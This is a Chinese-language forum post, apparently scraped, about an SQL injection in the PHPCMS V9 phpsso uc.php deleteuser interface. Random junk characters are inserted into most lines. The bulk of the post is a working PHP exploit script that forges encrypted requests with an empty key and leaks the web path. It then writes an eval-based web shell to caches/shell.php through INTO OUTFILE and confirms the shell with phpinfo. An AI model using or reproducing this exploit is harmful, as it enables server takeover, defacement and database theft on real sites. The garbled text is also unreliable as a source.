PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。* T! v( O' V- s0 q% |
) A, z0 C( a! J t% M0 ~所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。7 B3 g) C% Q' ], g X, c* H* g# u
6 K, {" O' B, @
漏洞分析:3 Z \. B, v1 k& u: K
1.未启用ucenter服务的情况下uc_key为空
( R4 O% O; h* z0 idefine('UC_KEY', pc_base::load_config('system', 'uc_key'));5 n4 O; z; W5 p# Q
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
: K3 @2 u5 G" n6 W! g% u5 j public function deleteuser($get,$post) {
. ~$ ^1 d1 J* \. S2 N) p( V pc_base::load_app_func('global', 'admin');
7 p4 x, b2 F0 S& w) e pc_base::load_app_class('messagequeue', 'admin' , 0);8 G1 z9 p# Y1 u7 k. U4 t
$ids = new_stripslashes($get['ids']);
! y0 b8 h7 n3 q$ t5 @: ?$ L $s = $this->member_db->select("ucuserid in ($ids)", "uid");
3 a: H4 C2 q% M" mSQL语句为9 l5 u3 s% O2 N X# F1 k
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids). n0 |! [& v% v. a( w
8 l3 t6 L; @. v+ A0 k- P* S利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
, f" c$ P' j5 C* Z<?php
' r: v7 X4 q% ]print_r('& `& j! d( g7 [% { G2 e; L" N
---------------------------------------------------------------------------! _$ p. c: o, L* F
PHPcms (v9 or Old Version) uc api sql injection 0day
% J) L3 z; a t$ fby rayh4c#80sec.com/ e% x7 T3 z; R% X* ^
---------------------------------------------------------------------------
1 d7 X8 i$ b, a$ t5 l6 |0 A');
; o% d4 h/ V, {2 r. X4 s
6 @8 h% A8 P' Uif ($argc<3) {
! I5 q/ e" s3 y( ]9 R' u+ H. v3 X! l- A print_r('; ?, Y$ u8 {% \, M$ M8 r \. O
---------------------------------------------------------------------------
- P8 ?: w, ~5 c* K( t! sUsage: php '.$argv[0].' host path OPTIONS
! g0 o8 ], _% x+ n3 E9 O3 d2 ghost: target server (ip/hostname)- `5 n8 T( C0 B! U
path: path to phpcms
+ z1 k5 ?' f3 ~- J# FOptions:
6 e. C. H2 G9 ]! e; j -p[port]: specify a port other than 80
# o" s" V- s' V2 O# Y& A" U! Z -P[ip:port]: specify a proxy
' N, G, S( w, y- p& c& \& E0 {Example:( i2 {0 R7 S2 B( k, J1 |% L
php '.$argv[0].' localhost /
5 g L0 } G, f6 ophp '.$argv[0].' localhost /phpcms/ -p813 l! d! Q; R+ T3 h& w! ]4 `
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80- r( x. I+ e% B1 w6 p4 Y- J! A
---------------------------------------------------------------------------6 {$ t# g) j) ]
');
5 ^1 s. m6 T' N; _2 J' ]' R1 o! p die;
_* Y: q1 I' e2 q% A}( X& g& ?' d* }1 [
1 Q# @: Z; Z) ~9 A0 c4 uerror_reporting(7);
6 N7 D6 p; x$ m% V* U& dini_set("max_execution_time",0);
! e: Z7 b2 Y# Hini_set("default_socket_timeout",5);0 E4 T' d9 t L8 k" }, K
$ Z: |1 u0 i( O
function quick_dump($string)
1 [, J. g3 Q1 p) C{. _; V) g) p( \- {. q" V' w7 |# e! Y
$result='';$exa='';$cont=0;
$ g% R/ [ t2 k: k) t, z- Y# ~ for ($i=0; $i<=strlen($string)-1; $i++)
9 u m1 Y! |0 v# _; \) Z6 O {2 }3 L1 Z6 Y. [# U
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
2 {* f2 P4 u' U- B6 N) t {$result.=" .";}9 p$ `3 A# G. s; W+ m
else
+ W6 ?; A' ^. _+ V {$result.=" ".$string[$i];}
: b' P9 _) |# Z' }3 w5 H if (strlen(dechex(ord($string[$i])))==2)7 L2 l3 L+ Z! S/ W
{$exa.=" ".dechex(ord($string[$i]));}( O E! B/ x; W& m8 J- M
else) J9 B3 X3 o4 M
{$exa.=" 0".dechex(ord($string[$i]));}
$ k( r6 y' Y8 m0 ^# `1 j/ t $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}5 N* O3 H9 o+ G1 ]
}! u" q5 b0 ?! T9 U4 O
return $exa."\r\n".$result;
% @% r0 |5 Y% r) @0 m6 u8 F}6 n# Y1 V, l( ^
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';+ H N% M1 \/ S) F2 q' \- C
* m% ` R9 s2 h+ n
function send($packet)
, `- N9 x. e# q' A{' S( r' h+ Y( ]9 F
global $proxy, $host, $port, $html, $proxy_regex;; K2 Q2 i: v, d# t
if ($proxy=='') {7 ]7 m, ?) x3 N. J4 N" K/ B! p
$ock=fsockopen(gethostbyname($host),$port); U0 X0 |; s x) `- x' o
if (!$ock) {
$ k0 n; `4 b( V# `# P$ s' c) N echo 'No response from '.$host.':'.$port; die;4 D: }* Y9 v0 r6 J3 N
}
9 U, B- c" X% H' G/ Y. [, s% L/ m0 z }1 J$ B+ U. F0 l1 R+ _1 b$ N$ t) H/ J
else {' ^4 c, j' v0 K( x- \* A' [/ V
$c = preg_match($proxy_regex,$proxy);
" Q" y, e0 T1 `4 U if (!$c) {' @" _/ ?! V: w
echo 'Not a valid proxy...';die;
9 {. E g0 [, D" J }
' ^" o( O; m& K# {5 Y% R/ u3 s $parts=explode(':',$proxy);% l7 s1 F- q0 g) L4 `* i8 P; k
$parts[1]=(int)$parts[1];; i' R2 z4 ^! L5 ~1 @- p: y5 W5 e9 ?
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
8 v2 \+ x$ Q9 P $ock=fsockopen($parts[0],$parts[1]);& h f/ l5 V! x/ k& p
if (!$ock) {
! V0 j' U' N9 D' z echo 'No response from proxy...';die;2 ^" u2 y" _& F% M6 J3 ~5 S1 \' N
}
( h+ U. `, A: j5 z+ u9 v }( m! B( V1 V% \: U& G0 R( y: t
fputs($ock,$packet); |, s. k- l! C! v1 A/ C
if ($proxy=='') {. J" `# ~: a4 H. }5 l. W
$html='';
5 k3 Y* c3 J# d n9 I while (!feof($ock)) {
9 |0 F& ]& X5 j+ w: }' ^7 H $html.=fgets($ock);
9 l. B7 t O7 m5 a; Z" c. H2 I' Z- i9 R }
U6 ^% \1 K0 ~% u7 l }
+ q: c$ P9 r. F* C" p( z else {
1 i ^, |6 @5 t* H $html='';
4 ^5 }/ J5 R2 Z+ n4 l) F while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {4 J% _+ d: f) N6 g8 Z5 j
$html.=fread($ock,1);
3 n# O- i5 D* g3 G }" T* p: l% K6 S* d
}
& G$ ] v/ ^9 q w( U4 | fclose($ock);
, _3 D- {9 e* g) \' q}
/ P, H. J, y2 f3 s( U6 K- H& m+ Z$ R
$host=$argv[1];, w* a7 n" D# `" Y- S
$path=$argv[2];
! M$ t, @# Y; a& X" y4 @$ I$port=80;; c& s H- _; [3 o0 K0 E
$proxy="";/ q' d( e! E" D1 f) V
for ($i=3; $i<$argc; $i++){
' O4 b0 }: c# P" {" d8 [. s$temp=$argv[$i][0].$argv[$i][1];" T7 W; O" ~( G/ [) p
if ($temp=="-p")
0 S1 l5 a# {! p! N# h! @{. [7 f6 X1 u ]4 W: V# P; `
$port=(int)str_replace("-p","",$argv[$i]);
: o* l6 {* \ v5 T1 H. B `}9 l4 y ^) r, m# h
if ($temp=="-P")6 b: y) l- Q4 h% F& y( U
{+ I) U$ Y" s J
$proxy=str_replace("-P","",$argv[$i]);5 t/ S1 D$ H! s
}* s2 M$ }# ?! b: u
}
7 Z5 t' X0 H* d u& B+ O. j6 {4 e$ v" i% z1 y0 m* S
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}7 d- a4 j+ z7 R5 b# B0 ^! I+ ^3 E
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
4 P' v: a; m# z% [9 k& J+ ~9 n' E/ R$ n
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
6 K ^4 |: v% G4 b- j" x' e0 t/ k `5 f& a) v4 p
$ckey_length = 4;
) [. `% r) y' [& i5 c7 ?
7 c: `5 g# g! ]7 d $key = md5($key ? $key : '');
2 ^1 W' H4 H' d. i( o* r $keya = md5(substr($key, 0, 16));
% D/ S6 W9 L6 K) a9 D* }' x6 g$ M $keyb = md5(substr($key, 16, 16));
9 v5 G: K9 }$ ]" i6 V, r $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
, L0 h: [. t1 i: l' o; `
$ D* y6 R+ t7 G/ c $cryptkey = $keya.md5($keya.$keyc);
0 U0 ?/ ] e% O( ?) y/ Q F $key_length = strlen($cryptkey);
$ H. }$ {$ D H7 X) o$ V4 ~' g0 ]; T" A! Q
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;- D2 K E7 S b
$string_length = strlen($string);
4 y1 S; @5 q6 \* R& A
4 T3 c. p. m( u" ?2 D2 e) h $result = '';6 K, U* S' a. ?) c
$box = range(0, 255);
. J9 K3 U' i A5 s* v5 @
+ K" N* R) f) Q( o; q $rndkey = array();
% J9 ^4 T/ [. F6 i. x( V for($i = 0; $i <= 255; $i++) {
- u7 W0 E k6 t0 g( j) F' T8 }3 Y $rndkey[$i] = ord($cryptkey[$i % $key_length]);
9 m1 P5 J4 x% N }
1 L; `7 \' Z; I, e" \8 q1 E! o
- P5 d ]0 B+ }7 A9 _3 x for($j = $i = 0; $i < 256; $i++) {
% G; v% B2 |* T/ b0 e, ^& { $j = ($j + $box[$i] + $rndkey[$i]) % 256;
' z b8 d4 M6 O $tmp = $box[$i];" b" h, l$ {2 j1 a( N f) t+ L
$box[$i] = $box[$j];7 N( J. `* V! ?
$box[$j] = $tmp;
5 k/ P' x; i1 y }
) |& r4 I- d1 ]. I$ y7 g
: ]+ I E' H( ]& j1 O0 V1 e for($a = $j = $i = 0; $i < $string_length; $i++) {: b, ^0 V" L8 u) O' _- q% [2 E# s
$a = ($a + 1) % 256;* l" G6 `. K) r, R
$j = ($j + $box[$a]) % 256;- b1 G! J0 z2 F2 ` ?
$tmp = $box[$a];
) ]; g! @. U0 P0 X; K9 o $box[$a] = $box[$j];
% I: V6 d; K9 t4 x H0 X $box[$j] = $tmp;
; a2 U+ n- e. V; N5 s, A $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
: w/ x: [. u7 S" [7 q3 H }
+ s8 g9 T4 i0 u- o1 z5 N7 g
. l# f. @8 k0 a8 f if($operation == 'DECODE') {# v) @) C7 Z3 |4 v
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
5 y8 L9 s/ a" G: a4 M return substr($result, 26);
6 A6 Z5 N7 p8 X6 g5 Q0 H/ Z } else {% p' G$ \% `3 H. m
return '';
% T- o& u8 k5 G& r, [) S/ a9 L }
/ a7 a2 ]6 N/ u; F: b } else {7 P* e7 S5 p% r1 E) i- V3 T
return $keyc.str_replace('=', '', base64_encode($result));$ P5 M3 ~. M3 g+ B3 }
}- S: A X: G9 P6 x9 P5 Y! o
' R% ~6 {( X$ y5 V
}/ _9 A" Z( U- K' V- G
; [8 B3 z7 y6 l. y0 ^$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";9 i' M0 i# M; h1 b. |' ]3 q
$SQL = urlencode(authcode($SQL, "ENCODE", "")); y0 v2 z# O, J' Y2 T/ `
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
n+ T# j, }) m H7 W$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";; u! L0 m7 e5 N9 l1 C7 u6 A' L' ]: @5 G
$packet.="User-Agent: Mozilla/5.0\r\n";
' r8 d- I5 J+ A; R+ k( ~7 v$packet.="Host: ".$host."\r\n";- o# @, D4 X% K( A
$packet.="Connection: Close\r\n\r\n";) Q' c/ r( U2 G: K& N# V
send($packet);, ]7 {" W f- Y( L" [
if(strpos($html,"MySQL Errno") > 0){
- \. c$ r% K% i1 ]& ]echo "[2] 发现存在SQL注入漏洞"."\n";
3 k( Y$ B! Y1 ?# c# L, X5 b! yecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";0 Z& }2 W1 E4 {6 X3 g) J/ D
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
5 K* G5 v2 U5 ^! r$ D4 p$packet.="User-Agent: Mozilla/5.0\r\n";7 U' p6 B" p& l9 Y
$packet.="Host: ".$host."\r\n";" I8 U( \! O4 L& ]. z9 c6 r
$packet.="Connection: Close\r\n\r\n";" m9 z# k8 m* b8 H T$ K
send($packet);5 a/ d; I4 W+ f5 Q8 k* O5 [7 O; e
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);, {! d9 m; q/ k( o
//print_r($matches);
5 R8 u. b2 h/ K6 b7 lif(!empty($matches)){
* O6 k# c- d, Y6 O" Secho "[4] 得到web路径 " . $matches[0]."\n";* N0 a8 o" [( M& [4 q# Y
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
, q5 z$ s8 Z2 l, L/ `; k- a1 r$SQL = "time=999999999999999999999999&ids=1)";
1 z4 M7 q" ~- Q9 E$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";. r4 j0 [3 g* U
$SQL.="&action=deleteuser";7 G# U3 @8 m6 q0 ^, a* v
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
/ k; e6 R* G8 O5 Lecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";4 i, M4 F7 _6 W
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
$ _0 [; V# q. S* f, T& K$packet.="User-Agent: Mozilla/5.0\r\n";& } W% g2 T/ V' F6 A, S7 L
$packet.="Host: ".$host."\r\n";0 K- c5 \" N# q$ |
$packet.="Connection: Close\r\n\r\n";& j' R. A2 _$ R* D& v b# s
send($packet);
+ q0 s; e$ G. |# ?, M+ ^if(strpos($html,"Access denied") > 0){
2 L' H+ Z Q5 K: W2 i' qecho "[-] MYSQL权限过低 禁止写入文件 ";
; u8 s0 G. L# g; Odie;& |3 G; Y( e( J" S& K) J
}5 |1 c. N5 J& ]" w% u
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
: v- e7 E/ w7 u2 `' b$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
R( m4 X' e( d) P2 \$packet.="User-Agent: Mozilla/5.0\r\n";
! L+ R. p% K7 o; E% r% b4 B$ L% Y; s$packet.="Host: ".$host."\r\n";
: f% Y& r1 o }3 Y$packet.="Connection: Close\r\n\r\n";: n( Z a7 s( Y k/ h
send($packet);
: P4 s3 J6 e7 Y/ x2 {* Zif(strpos($html,"<title>phpinfo()</title>") > 0){) R8 E0 E( M* S, ~2 I4 J# X6 `, z
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
0 k: M# z4 h$ c}
4 z X, }# h( ~) m3 r: i}else{
2 M* W% q( k- a: r& P! x8 l- xecho "[-]未取到web路径 ";
' Z k4 z* [8 q8 R, u}2 f% H2 L. N& u" z0 x! _6 j
}else{
0 U3 O( v. H( Pecho "[*]不存在SQL注入漏洞"."\n";
& T- K; Z. D5 A0 u) G9 k}0 X q' c" N8 |& C5 }
# ~3 w9 o1 r" y0 F& b. x
?>
1 W2 j7 o' Z/ z4 D9 \ |